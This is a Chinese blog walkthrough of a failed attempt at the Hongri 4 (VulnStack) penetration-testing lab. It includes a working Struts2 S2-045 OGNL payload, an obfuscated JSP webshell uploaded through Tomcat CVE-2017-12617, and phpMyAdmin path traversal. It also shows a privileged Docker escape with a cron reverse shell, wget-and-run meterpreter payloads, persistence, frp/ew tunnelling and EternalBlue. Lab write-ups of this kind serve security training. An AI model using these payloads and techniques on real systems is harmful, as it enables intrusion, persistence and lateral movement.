紅日4攻略失敗

麦克斯韦方發表於2024-06-11

紅日4靶場復現

一、環境搭建

1.網路配置略過,注意將wireshark置於僅主機網段方便抓包

2.配置docker環境,搭建s2、tomcat、phpmyadmin   #如圖一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

image-20240607152023921

二、資訊收集

nmap掃描網段:nmap -sV -sS 192.168.0.0/24   #如圖一
對目標網站詳細埠掃描:nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
掃描結果顯示
22:ssh   版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 
2001:struts2
2002:tomcat   版本8.5.19
2003:mysql |phpmyadmin   版本mysql | phpMyAdmin 4.8.1

圖一如下

image-20240607152917806

image-20240607154023376

image-20240607154043942

三、漏洞檢測

1.對tomcat 8.5.19版本漏洞查詢並驗證

1.kali中查詢漏洞指令碼:searchsploit tomcat    #如圖一
2.將poc指令碼複製到當前路徑:searchsploit -m /jsp/webapps/42966.py  #如圖二
3.使用該指令碼驗證是否存在該漏洞:python 42966.py -u http://192.168.0.104:2002/   #證明存在該漏洞,如圖三

圖一如下

image-20240607154825717

圖二如下

image-20240607155219285

圖三如下

image-20240607155622265

2.對s2漏洞查詢並利用,檢測結果如圖

存在s2-045以及s2-046漏洞

image-20240607160129757

3.對PHPmyadmin進行檔案包含漏洞檢測

構造poc:   ?target=sql.php?/../../../../../../../../../etc/passwd

image-20240607160700309

四、漏洞利用

1.s2漏洞 手工getshell

1.1submit抓包

image-20240607170110913

1.2構造payload

 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

將payload插入到filename中

image-20240607171824355

進行00截斷

image-20240607171733544

image-20240607171942956

成功執行whoami

image-20240607172046868

使用msf進行getshell

# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

生成的payload為:
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#將;替換成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown

# 2.將上述修改完的payload進行send:

# 3.獲取getshell :sessions 1

# 4.docker逃逸
## 1.檢查是否在docker容器中:
#檢視根目錄下全部檔案,如果存在.dockerenv檔案,證明在docker中
ls -al /
#檢視系統程序cgroup資訊,存在docker欄位,證明在docker中
cat /proc/1/cgroup 
## 2.檢視是否為特權模式啟動
cat /proc/self/status |grep Cap   #檢查結果不是特權模式啟動,換一個getshell

image-20240607212420831

image-20240607212216331

image-20240607212621457

image-20240607214025358

image-20240607215813954

2.tomcat 手工getshell

根據tomcat版本確定漏洞CVE-2017-12617

透過修改PUT方法,/繞過jsp上傳
# 1.抓包  #如圖一
修改PUT方法、jsp後新增/

木馬為:
<%
    // 獲取請求引數
    String H6Pv4 = request.getParameter("test");

    if (H6Pv4 != null) {
        // 自定義類載入器
        class E9OXyWMn extends ClassLoader {
            E9OXyWMn(ClassLoader parent) {
                super(parent);
            }

            // 自定義類定義方法
            public Class H6Pv4(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }

        // 位元組碼陣列
        byte[] bytes = null;

        try {
            // 初始化的異或解密陣列
            int[] aa = new int[]{
                99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
                117, 115, 127, 116, 117, 98
            };

            // 解密字串
            StringBuilder ccstrBuilder = new StringBuilder();
            for (int i = 0; i < aa.length; i++) {
                aa[i] ^= 16; // 異或解密
                ccstrBuilder.append((char) aa[i]);
            }
            String ccstr = ccstrBuilder.toString();

            // 載入解密後的類
            Class APh7z = Class.forName(ccstr);

            // 呼叫解碼方法
            String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
            bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);

        } catch (Exception e) {
            // 如果解密失敗,嘗試使用 Base64 解碼
            bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
        }

        // 使用自定義類載入器載入位元組碼
        Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);

        // 建立類的例項並呼叫 equals 方法
        Object o = aClass.newInstance();
        o.equals(pageContext);
    }
%> 

# 3.蟻劍連線成功如圖二


# 4.透過命令判斷該環境為docker容器
#檢視根目錄下全部檔案,如果存在.dockerenv檔案,證明在docker中
ls -al /
#檢視系統程序cgroup資訊,存在docker欄位,證明在docker中
cat /proc/1/cgroup 

# 5.檢視是否為特權模式啟動
cat /proc/self/status |grep Cap   #檢查結果是特權模式啟動  如圖三

圖一如下

image-20240607231401223

圖二如下

image-20240607231032294

image-20240607232126663

五、docker逃逸

1.docker逃逸,並使用nc監聽

 利用方法:privileged特權模式啟動容器逃逸
 
 具體步驟:
 #檢視磁碟分割槽情況
	fdisk -l
#新建目錄
  mkdir test
#掛載宿主機磁碟到新建目錄中        #如下圖一
	mount /dev/sda1 /test
#在kali上開啟監聽
	nc -lvp 4321
#切換到新建目錄
	cd /test
#新建.sh檔案
	touch /test/test.sh
#寫入反彈shell命令到sh檔案中
	echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh檔案寫入計劃任務
	echo "* * * * * root bash /test.sh" >> /test/etc/crontab

圖一如下

image-20240607234251078

image-20240607234202876

2.msf反彈

# 生成elf木馬  如圖一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf

# 啟動監聽模組   如圖二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run 

# 啟動一個http服務   如圖三
python3 -m http.server

# 透過nc下載攻擊機elf木馬   如圖四
wget http://192.168.0.108:8000/test.elf

# 檢查上傳成功後,新增許可權並執行  如圖五
chmod +x test.elf
./test.elf &

# 此時檢視msf監聽埠,發現已成功反彈  如圖六

圖一如下

image-20240608000303003

圖二如下

image-20240608001833790

圖三如下

image-20240608002902692

圖四如下

image-20240608003048189

圖五如下

image-20240608003225197

圖六如下

image-20240608003554690

3.許可權維持

# 新增不可刪除更改的許可權
chattr +i test.elf

# 建立計劃任務
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab

# crontab -l    #檢視正在執行的計劃任務

image-20240608005512269

六、橫向移動-frp隧道搭建

透過檢視ifconfig發現除docker外其他網路卡

image-20240610155904963

六、橫向移動

1.fscan內網掃描

# 上傳fscan
upload /home/kali/muma/fscan

shell

加權執行
chmod +x fscan

./fscan -h 192.168.183.135/24

image-20240610160513592

由於掃描發現開放445埠並可能存在永恆之藍漏洞,則使用msf掃描模組具體掃描一下

2.frp隧道搭建

frp服務端配置如下圖

image-20240608191549855

frp客戶端配置如下圖

將客戶端配置ip為攻擊機IP

image-20240608191532159

啟動frp

kali服務端啟動   
chmod +x frps 
./frps -c frps.toml     #如圖一

meterpreter 上傳客戶端並在後臺執行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

圖一如下

image-20240608195526866

image-20240608202218048

image-20240608202246871

開啟socks5代理

proxychains msfconsole      
修改proxychains4.conf配置檔案,設定socket代理IP及埠   #注意埠需要與frpc配置的remoteport相同   #如圖一
setg proxies socks5:192.168.0.108:6000
# 已知fscan掃描發現ms17-010漏洞,現利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445                  # 如圖二三
run
session       

圖一如下

image-20240608203019668

圖二如下

image-20240608204153699

image-20240608204245650

失敗,換一個隧道搭建,使用ew

3.ew隧道搭建

新增路由建立代理:
route add 192.168.183.0/24 
run autoroute -p     #如圖一

#ew建立代理
kali: ./ew_linux_x64 -s rcsocks -l 1080 -e 1234   #如圖二
目標主機:
upload /home/kali/muma/ew/ew_linux_x64 
chmod +x ew_linux_x64 
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234   ##(或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &)    #如圖三

圖一如下

image-20240610183307406

圖二如下

image-20240610183812670

圖三按理說應該如下,但是nc不小心讓我關了

image-20240610184033617

4.使用MS17-010模組進行攻擊

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run

總是死!!!!!我服了,先上傳,我找找原因

image-20240610193422239

參考文獻:實戰|記一次逃逸Docker滲透測試-騰訊雲開發者社群-騰訊雲 (tencent.com)

VulnStack|紅日靶場——紅隊評估四 - 嗶哩嗶哩 (bilibili.com)

ATT&CK紅隊評估(紅日靶場四) - FreeBuf網路安全行業門戶 #主看docker meterpreter shell

紅日靶場4 - hello_bao - 部落格園 (cnblogs.com)

內網穿透工具EW的簡單使用(附內網環境實現)_ew網穿-CSDN部落格 #主看ew使用方法

相關文章